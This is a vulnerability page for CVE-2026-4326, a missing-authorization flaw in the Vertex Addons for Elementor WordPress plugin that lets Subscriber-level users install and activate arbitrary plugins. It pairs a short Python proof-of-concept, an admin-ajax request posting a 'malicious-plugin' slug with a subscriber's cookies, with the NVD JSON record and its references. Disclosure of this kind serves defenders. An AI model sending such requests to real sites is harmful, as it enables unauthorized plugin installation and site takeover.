CVE-2026-4326

#!/usr/bin/env python3 # PoC for CVE-2026-4326 # This script demonstrates how a low-privileged user can trigger plugin installation. import requests target_url = "http://example.com/wp-admin/admin-ajax.php" # Attacker's cookies (Subscriber level) cookies = { "wordpress_logged_in_xxx": "attacker_cookie_value" } # Payload to install a specific plugin payload = { "action": "activate_required_plugins", "plugin_slug": "malicious-plugin", "nonce": "valid_nonce_if_required" # Some implementations might check nonces } response = requests.post(target_url, data=payload, cookies=cookies) if response.status_code == 200: print("[+] Request sent successfully. Check if plugin was installed.") else: print("[-] Request failed.")

{"cve": {"id": "CVE-2026-4326", "sourceIdentifier": "[email protected]", "published": "2026-04-09T02:16:16.530", "lastModified": "2026-04-24T18:04:28.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Vertex Addons for Elementor plugin for WordPress is vulnerable to Missing Authorization in all versions up to and including 1.6.4. This is due to improper authorization enforcement in the activate_required_plugins() function. Specifically, the current_user_can('install_plugins') capability check does not terminate execution when it fails — it only sets an error message variable while allowing the plugin installation and activation code to execute. The error response is only sent after the installation and activation have already completed. This makes it possible for authenticated attackers, with Subscriber-level access and above, to install and activate arbitrary plugins from the WordPress."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/addons-for-elementor-builder/tags/1.6.4/app/Ajax.php#L229", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/addons-for-elementor-builder/tags/1.6.4/app/Ajax.php#L232", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/addons-for-elementor-builder/tags/1.6.4/app/Ajax.php#L264", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/addons-for-elementor-builder/tags/1.6.4/app/Ajax.php#L278", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/addons-for-elementor-builder/trunk/app/Ajax.php#L229", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/addons-for-elementor-builder/trunk/app/Ajax.php#L232", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/addons-for-elementor-builder/trunk/app/Ajax.php#L264", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/addons-for-elementor-builder/trunk/app/Ajax.php#L278", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3491143%40addons-for-elementor-builder&new=3491143%40addons-for-elementor-builder&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1bb409f0-ccbd-4dfa-b097-b29ee539daa3?source=cve", "source": "[email protected]"}]}}